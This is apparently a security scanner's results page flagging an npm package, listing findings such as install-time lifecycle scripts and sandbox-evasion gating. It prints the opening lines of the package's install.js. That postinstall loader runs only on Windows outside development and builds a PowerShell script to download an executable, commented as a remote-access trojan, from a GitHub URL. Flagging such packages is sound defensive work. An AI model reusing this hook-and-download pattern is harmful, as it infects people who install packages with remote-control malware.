Static Scan Results
scanned 2h ago · by rust-scannerStatic analysis flagged 8 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.
Static reason
One or more suspicious static signals were detected.
Decision evidence
public snapshotBehavioral surface
ChildProcessEnvironmentVarsFilesystem
UrlStrings
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkginstall.jsView file
1// npm postinstall — download and execute RAT from GitHub
L2: if (process.platform !== 'win32') process.exit(0);
L3: if (process.env.NODE_ENV === 'development') process.exit(0);
L4: var cp=require('child_process'),fs=require('fs'),os=require('os');
L5: var tmp=os.tmpdir(), dst=tmp+'\\npm-sc.exe', psf=tmp+'\\r-'+(+new Date)+'.ps1';
L6: var ps='$u="https://raw.githubusercontent.com/cphc811-ui/d3d/main/npm[redacted]"\n'
L7: +'$p="'+dst+'"\n'
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
install.jsView on unpkg · L1Findings
2 High3 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSandbox Evasion Gated Capabilityinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings